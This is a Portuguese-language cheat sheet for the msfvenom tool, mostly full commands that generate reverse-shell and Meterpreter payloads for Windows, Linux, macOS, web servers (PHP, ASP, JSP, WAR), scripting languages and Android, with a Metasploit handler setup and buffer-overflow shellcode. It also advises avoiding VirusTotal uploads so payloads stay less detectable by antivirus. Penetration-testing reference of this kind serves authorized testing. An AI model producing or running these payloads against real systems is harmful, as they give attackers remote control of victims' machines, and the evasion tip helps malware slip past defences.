msfvenom
O msfvenom é uma poderosa ferramenta utilizada para criar exploits e gerar
payloads para diferentes sistemas operacionais e arquiteturas. É uma parte
essencial do Metasploit Framework, uma plataforma de testes de penetração de
código aberto.
Aviso Importante
Ao usar o msfvenom para criar payloads maliciosos, é crucial garantir que você
tenha autorização explícita para realizar tais testes em sistemas e redes. O uso
indevido dessas técnicas é ilegal e pode resultar em sérias consequências
legais.
Testando Payloads
Antes de executar os payloads gerados, é altamente recomendado testá-los em um ambiente controlado. Uma maneira de fazer isso é enviando o arquivo para o site VirusTotal, porém, tenha cuidado, pois o envio para o VirusTotal pode atualizar a heurística de alguns antivírus, tornando os payloads mais detectáveis.
Listando Payloads Disponíveis
Para verificar todos os payloads disponíveis, execute o seguinte comando:
msfvenom --list payloads
Gerando Payloads para Diferentes Sistemas
Payload para Windows
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.0.100 \
LPORT=443 \
-f exe > virus.exe
Payload para Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp \
LHOST=${IP} \
LPORT=${PORTA} \
-f elf > shell.elf
Payload para Mac
msfvenom -p osx/x86/shell_reverse_tcp \
LHOST=${IP} \
LPORT=${PORTA} \
-f macho > shell.macho
Payloads para Servidores WEB
Payload PHP
msfvenom -p php/meterpreter_reverse_tcp \
LHOST=${IP} \
LPORT=${PORTA} \
-f raw > shell.php
cat shell.php | pbcopy && \
echo '<?php ' | tr -d '\n' > shell.php && \
pbpaste >> shell.php
pbcopy e pbpaste precisam ser instalados através do seguinte comando:
sudo apt-get install xclip
Payload ASP
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=${IP} \
LPORT=${PORTA} \
-f asp > shell.asp
Payload JSP
msfvenom -p java/jsp_shell_reverse_tcp \
LHOST=${IP} \
LPORT=${PORTA} \
-f raw > shell.jsp
Payload WAR
msfvenom -p java/jsp_shell_reverse_tcp \
LHOST=${IP} \
LPORT=${PORTA} \
-f war > shell.war
Payloads Adicionais
Payload Python
msfvenom -p cmd/unix/reverse_python \
LHOST=${IP} \
LPORT=${PORTA} \
-f raw > shell.py
Payload Bash
msfvenom -p cmd/unix/reverse_bash \
LHOST=${IP} \
LPORT=${PORTA} \
-f raw > shell.sh
Payload Perl
msfvenom -p cmd/unix/reverse_perl \
LHOST=${IP} \
LPORT=${PORTA} \
-f raw > shell.pl
Shellcode
Para todos os códigos de shell, consulte msfvenom --list format para obter
informações sobre parâmetros válidos. O msfvenom produzirá um código que pode
ser recortado e colado nessa linguagem para suas explorações.
Linux Based Shellcode
msfvenom -p linux/x86/meterpreter/reverse_tcp \
LHOST=${IP} \
LPORT=${PORTA} \
-f ${FORMATO}
Windows Based Shellcode
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=${IP} \
LPORT=${PORTA} \
-f ${FORMATO}
Mac Based Shellcode
msfvenom -p osx/x86/shell_reverse_tcp \
LHOST=${IP} \
LPORT=${PORTA} \
-f ${FORMATO}
Recebendo a Conexão do Alvo
Para receber a conexão do alvo, será necessário que o Metasploit esteja em execução. Para configurar o Metasploit para a conexão reversa, siga os seguintes passos:
-
Execute o Metasploit:
msfconsole -
No console do Metasploit, configure o exploit e as opções necessárias:
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set LPORT 443
msf exploit(handler) > set LHOST 192.168.0.100
msf exploit(handler) > exploit
Criando um Exploit para Windows para Buffer Overflow (BoF)
msfvenom -p windows/shell_reverse_tcp \
LHOST=192.168.0.100 \
LPORT=443 \
-b "\x00\x0a\x0d\x20" \
EXITFUNC=thread \
-f python
Explicação dos parâmetros:
-p windows/shell_reverse_tcp: Tipo do exploit.LHOST: IP de conexão reversa.LPORT: Porta de conexão reversa.-b "\x00\x0a\x0d\x20": Bad caracteres ou caracteres inválidos.EXITFUNC=thread: Evita que a aplicação morra depois do exploit ser fechado.
Os bad char em questão variam de aplicação para aplicação e de acordo com a sua validação, por exemplo, não é comum uma aplicação aceitar null byte (\x00).
A lista de caracteres ASCII e suas representações em outros bases, como por exemplo hexadecimal, pode ser encontrado nesse link: ASCII - Bad Chars.
Gerando Payload Binário para Sistema Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp \
lport=433 \
lhost=192.168.0.111 \
-f elf > malicioso
Esse tipo de payload é usado quando você já tem acesso à shell no dispositivo e necessita usar o meterpreter para auxiliar na pós-exploração.
Gerando Payload APK para Android
msfvenom -p android/meterpreter/reverse_tcp \
lport=433 \
lhost=192.168.0.111 \
R > malicioso.apk
O parâmetro R indica que o arquivo será salvo em modo RAW. Essa abordagem é
utilizada quando você já tem uma shell no dispositivo Android e necessita usar o
meterpreter para auxiliar na pós-exploração.